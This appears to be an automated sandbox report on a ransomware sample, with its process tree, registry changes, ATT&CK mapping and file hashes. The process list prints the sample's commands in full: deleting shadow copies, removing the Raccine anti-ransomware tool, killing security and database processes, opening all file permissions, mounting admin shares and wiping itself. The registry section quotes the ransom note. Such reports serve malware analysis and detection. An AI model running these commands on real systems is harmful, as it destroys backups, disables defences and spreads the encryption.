PID 852 wrote to memory of 3572	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 2648	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 2648	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 1544	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 1544	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 1820	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 1820	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 416	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 416	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 768	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 768	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 2368	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 2368	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 3620	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 3620	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 200	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 200	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 2084	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe
PID 852 wrote to memory of 2084	852	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe	taskkill.exe

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

Processes:

e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED"	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe

C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
"C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe"
1⤵
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:852

C:\Windows\SYSTEM32\taskkill.exe
"taskkill" /F /IM RaccineSettings.exe
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3260

C:\Windows\SYSTEM32\reg.exe
"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
2⤵
PID:1248

C:\Windows\SYSTEM32\reg.exe
"reg" delete HKCU\Software\Raccine /F
2⤵
- Modifies registry key
PID:3344

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /DELETE /TN "Raccine Rules Updater" /F
2⤵
PID:1448

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
2⤵
PID:2792

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config Dnscache start= auto
2⤵
PID:1560

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config SQLTELEMETRY start= disabled
2⤵
PID:1116

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config FDResPub start= auto
2⤵
PID:2176

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config SSDPSRV start= auto
2⤵
PID:3860

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
2⤵
PID:4056

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config SstpSvc start= disabled
2⤵
PID:492

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /c rd /s /q D:\\$Recycle.bin
2⤵
PID:3172

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config upnphost start= auto
2⤵
PID:208

C:\Windows\SYSTEM32\sc.exe
"sc.exe" config SQLWriter start= disabled
2⤵
PID:4044

C:\Windows\SYSTEM32\netsh.exe
"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
2⤵
PID:2308

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2148

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mspub.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1156

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM synctime.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2340

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM Ntrtscan.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:412

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:736

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mysqld.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1984

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM isqlplussvc.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3864

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3572

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM sqbcoreservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2648

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM firefoxconfig.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1544

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM encsvc.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1820

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM onenote.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:416

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM tbirdconfig.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:768

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM excel.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2368

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM agntsvc.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3620

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM PccNTMon.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:200

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM dbeng50.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2084

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM CNTAoSMgr.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2336

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM msaccess.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2692

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM thebat64.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3380

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM thebat.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2152

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM sqlwriter.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2976

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM outlook.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1544

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM ocomm.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3864

C:\Windows\SYSTEM32\netsh.exe
"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
2⤵
PID:1156

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM steam.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:580

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" IM thunderbird.exe /F
2⤵
- Kills process with taskkill
PID:3840

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM tmlisten.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4084

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM dbsnmp.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3940

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM infopath.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2264

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM wordpad.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2192

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM msftesql.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3908

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mbamtray.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2280

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM xfssvccon.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:416

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mysqld-opt.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2368

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM powerpnt.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2120

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM ocautoupds.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2148

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM zoolz.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:492

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mydesktopqos.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:412

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM ocssd.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3376

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM visio.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:748

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM oracle.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3572

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mydesktopservice.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:736

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM sqlagent.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1856

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM winword.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1768

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM sqlbrowser.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1272

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM mysqld-nt.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1368

C:\Windows\SYSTEM32\taskkill.exe
"taskkill.exe" /IM sqlservr.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1152

C:\Windows\SYSTEM32\netsh.exe
"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
2⤵
PID:2264

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3840

C:\Windows\SYSTEM32\icacls.exe
"icacls" "C:*" /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3380

C:\Windows\SYSTEM32\icacls.exe
"icacls" "Z:*" /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:2152

C:\Windows\SYSTEM32\icacls.exe
"icacls" "D:*" /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3260

C:\Windows\SYSTEM32\netsh.exe
"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
2⤵
PID:1112

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\Users
2⤵
PID:768

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\A$
2⤵
PID:1264

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\B$
2⤵
PID:1820

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\C$
2⤵
PID:184

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\D$
2⤵
PID:3568

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\E$
2⤵
PID:4084

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\F$
2⤵
PID:1984

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\G$
2⤵
PID:212

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\H$
2⤵
PID:3376

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\I$
2⤵
PID:492

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\J$
2⤵
PID:2264

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\K$
2⤵
PID:1148

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\L$
2⤵
PID:188

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\M$
2⤵
PID:2976

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\N$
2⤵
PID:4044

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\O$
2⤵
PID:512

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\P$
2⤵
PID:192

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\Q$
2⤵
PID:2208

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\R$
2⤵
PID:748

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\S$
2⤵
PID:184

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\T$
2⤵
PID:2256

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\U$
2⤵
PID:1152

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\V$
2⤵
PID:3912

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\W$
2⤵
PID:2336

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\X$
2⤵
PID:3800

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\Y$
2⤵
PID:3132

C:\Windows\SYSTEM32\net.exe
"net.exe" use \\10.10.0.13\Z$
2⤵
PID:2876

C:\Windows\SYSTEM32\arp.exe
"arp" -a
2⤵
PID:3848

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
2⤵
PID:748

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
2⤵
PID:60

C:\Windows\system32\PING.EXE
ping 127.0.0.7 -n 3
3⤵
- Runs ping.exe
PID:3908

C:\Windows\system32\fsutil.exe
fsutil file setZeroData offset=0 length=524288 “%s”
3⤵
PID:4048

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.sample.exe
2⤵
PID:3848

C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
3⤵
PID:1204

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

File Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
MD5
29d4c70a2e9f4537c7548e41e2f77125

SHA1
80bf45841711606a484599a9a507587fa1139ea2

SHA256
b6d3aa1e9bf894af5a8be6c1ea60d54ce4c430c635c2abde5ac03af101f26c62

SHA512
a0b49e3c08ae534a04af8adcdfb28296001dc53ed24d4a5dee2d62b0ff02c0a2dba1f147316bc4d6a1581f6d37b8363100179606b3c2481986ecc841f73a93b8

Download Submit
\??\PIPE\wkssvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/200-147-0x0000000000000000-mapping.dmp

Download
memory/208-129-0x0000000000000000-mapping.dmp

Download
memory/412-135-0x0000000000000000-mapping.dmp

Download
memory/412-170-0x0000000000000000-mapping.dmp

Download
memory/416-165-0x0000000000000000-mapping.dmp

Download
memory/416-143-0x0000000000000000-mapping.dmp

Download
memory/492-169-0x0000000000000000-mapping.dmp

Download
memory/492-127-0x0000000000000000-mapping.dmp

Download
memory/580-157-0x0000000000000000-mapping.dmp

Download
memory/736-136-0x0000000000000000-mapping.dmp

Download
memory/736-174-0x0000000000000000-mapping.dmp

Download
memory/748-172-0x0000000000000000-mapping.dmp

Download
memory/768-144-0x0000000000000000-mapping.dmp

Download
memory/852-114-0x0000000000580000-0x0000000000581000-memory.dmp

Filesize
4KB

Download
memory/852-116-0x000000001B220000-0x000000001B222000-memory.dmp

Filesize
8KB

Download
memory/1116-123-0x0000000000000000-mapping.dmp

Download
memory/1152-179-0x0000000000000000-mapping.dmp

Download
memory/1156-133-0x0000000000000000-mapping.dmp

Download
memory/1156-156-0x0000000000000000-mapping.dmp

Download
memory/1248-118-0x0000000000000000-mapping.dmp

Download
memory/1272-177-0x0000000000000000-mapping.dmp

Download
memory/1368-178-0x0000000000000000-mapping.dmp

Download
memory/1448-120-0x0000000000000000-mapping.dmp

Download
memory/1544-141-0x0000000000000000-mapping.dmp

Download
memory/1544-154-0x0000000000000000-mapping.dmp

Download
memory/1560-122-0x0000000000000000-mapping.dmp

Download
memory/1768-176-0x0000000000000000-mapping.dmp

Download
memory/1820-142-0x0000000000000000-mapping.dmp

Download
memory/1856-175-0x0000000000000000-mapping.dmp

Download
memory/1984-137-0x0000000000000000-mapping.dmp

Download
memory/2084-148-0x0000000000000000-mapping.dmp

Download
memory/2120-167-0x0000000000000000-mapping.dmp

Download
memory/2148-132-0x0000000000000000-mapping.dmp

Download
memory/2148-168-0x0000000000000000-mapping.dmp

Download
memory/2152-152-0x0000000000000000-mapping.dmp

Download
memory/2176-124-0x0000000000000000-mapping.dmp

Download
memory/2192-162-0x0000000000000000-mapping.dmp

Download
memory/2264-161-0x0000000000000000-mapping.dmp

Download
memory/2264-180-0x0000000000000000-mapping.dmp

Download
memory/2280-164-0x0000000000000000-mapping.dmp

Download
memory/2308-131-0x0000000000000000-mapping.dmp

Download
memory/2336-149-0x0000000000000000-mapping.dmp

Download
memory/2340-134-0x0000000000000000-mapping.dmp

Download
memory/2368-145-0x0000000000000000-mapping.dmp

Download
memory/2368-166-0x0000000000000000-mapping.dmp

Download
memory/2648-140-0x0000000000000000-mapping.dmp

Download
memory/2692-150-0x0000000000000000-mapping.dmp

Download
memory/2792-121-0x0000000000000000-mapping.dmp

Download
memory/2976-153-0x0000000000000000-mapping.dmp

Download
memory/3172-128-0x0000000000000000-mapping.dmp

Download
memory/3260-117-0x0000000000000000-mapping.dmp

Download
memory/3344-119-0x0000000000000000-mapping.dmp

Download
memory/3376-171-0x0000000000000000-mapping.dmp

Download
memory/3380-151-0x0000000000000000-mapping.dmp

Download
memory/3572-139-0x0000000000000000-mapping.dmp

Download
memory/3572-173-0x0000000000000000-mapping.dmp

Download
memory/3620-146-0x0000000000000000-mapping.dmp

Download
memory/3840-205-0x0000012A4DC56000-0x0000012A4DC58000-memory.dmp

Filesize
8KB

Download
memory/3840-191-0x0000012A4DB70000-0x0000012A4DB71000-memory.dmp

Filesize
4KB

Download
memory/3840-186-0x0000012A354C0000-0x0000012A354C1000-memory.dmp

Filesize
4KB

Download
memory/3840-196-0x0000012A4DC50000-0x0000012A4DC52000-memory.dmp

Filesize
8KB

Download
memory/3840-158-0x0000000000000000-mapping.dmp

Download
memory/3840-199-0x0000012A4DC53000-0x0000012A4DC55000-memory.dmp

Filesize
8KB

Download
memory/3860-125-0x0000000000000000-mapping.dmp

Download
memory/3864-138-0x0000000000000000-mapping.dmp

Download
memory/3864-155-0x0000000000000000-mapping.dmp

Download
memory/3908-163-0x0000000000000000-mapping.dmp

Download
memory/3940-160-0x0000000000000000-mapping.dmp

Download
memory/4044-130-0x0000000000000000-mapping.dmp

Download
memory/4056-126-0x0000000000000000-mapping.dmp

Download
memory/4084-159-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads